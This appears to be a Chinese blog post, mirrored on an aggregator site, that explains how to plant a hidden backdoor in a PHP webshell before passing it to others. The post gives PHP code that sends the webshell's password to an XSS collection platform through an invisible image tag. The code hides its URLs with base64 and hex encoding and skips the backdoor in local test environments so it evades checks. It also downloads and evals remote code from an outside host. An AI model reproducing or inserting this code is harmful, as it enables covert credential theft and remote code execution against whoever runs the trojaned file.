zoukankan      html  css  js  c++  java
  • 给你的PHP大马添加后门(黑吃黑)

    Part 1 引子

      说什么好呢,发个图就当个引子好了。

    Part 2 XSS平台

      创建项目

      选择类型

      xss代码

      小实验,刷新代码

      XSS平台上

    Part 3 后门

     我们写这样一个脚本

    <?php
    $password = 'admin';  // 假设这个大马密码
                                  // 这个是你自己的xss代码 
    echo '<img width=0height=0 src="http://xss.cn/xss.php?do=api&id=c7rL&location='.$password.'"/>';

      

      浏览器,运行脚本

      XSS平台上

       加密XSS代码

      最终脚本

    <?php
    $password
    = 'hacksb'; // 假设这个大马密码 $url = 'base64加密代码'; $hm = base64_decode($url); echo $hm.$password.' "/>';

      

      测试下,运行脚本。

    <?php
    $password = 'hacksb'; 
    $url = 'PGltZB3aWR0aD0waGVpZ2h0PTAgc3JjPJodHRwOi8veHzMS5jbi94c3MucGhwP2RvPWFwaSZpZD1jNJmxvY2F0a9uPQ==';
    $hm = base64_decode($url);
    echo $hm.$password.' "/>';

      

      

      XSS平台上

    Part 3 利用

      找个大马。

       

      

      插入后门代码。总之,尽可能不被别人轻而易举识破。还有变量名不要和大马本身冲突。

      

      

      运行大马。

      

      XSS平台上。嘿嘿嘿

      

     Part 4 缺陷

      这后门还不够完善,例如抓包,F12后门就漏出来了,有待完善。例如后门代码只运行一次,本地测试环境不执行后门代码。

     

    Part 5 改进

      我们可以加一个判断是否是本地测试环境

    $domain = $_SERVER ['HTTP_HOST'];
    if (strpos($domain, "0.0") !== false || strpos($domain, "192.168.") !== false || strpos($domain, "localhost") !== false) {
         $indexhtmls="200 OK";
    }else {
        // 执行后门代码
    }

      也可以远程来。

    $domain = $_SERVER ['HTTP_HOST'];
    if (strpos($domain, "0.0") !== false || strpos($domain, "192.168.") !== false || strpos($domain, "localhost") !== false) {
         $indexhtmls="200 OK";
    }else {
        $a = file_get_contents('http://www.xx.com/1.txt');
        eval($a);
    }

      

      大概就是这个样子

    $dadada = $_SERVER ['HTTP_HOST'];
    if (strpos($dadada, "0.0") !== false || strpos($dadada, "192.168.") !== false || strpos($dadada, "localhost") !== false) {
         $s9mf="200 OK";
    }else {
        $s9 = "687474703A2F2F7777772E78782E636F6D2F626C61636B646F6F722E747874";
                    http://www.xxx.com/blackdoor.txt   hex编码
        $m="s9";
        $f = file_get_contents(PACK('H*',$$m));
        eval($f);
    }
    
    
    
    blackdoor.txt 内容如下:
    
    
    @set_time_limit(0);
    echo '<img width=0height=0 src="http://xsssb.cn/xss.php?do=api&id=rL&location='.$password.'"/>';

      Part 6 瞎扯

      

      

    参考: https://bbs.ichunqiu.com/thread-18486-1-1.html

  • 相关阅读:
    Codeforces 1255B Fridge Lockers
    Codeforces 1255A Changing Volume
    Codeforces 1255A Changing Volume
    leetcode 112. 路径总和
    leetcode 129. 求根到叶子节点数字之和
    leetcode 404. 左叶子之和
    leetcode 104. 二叉树的最大深度
    leetcode 235. 二叉搜索树的最近公共祖先
    450. Delete Node in a BST
    树的c++实现--建立一棵树
  • 原文地址:https://www.cnblogs.com/s0mf/p/9218928.html
Copyright © 2011-2022 走看看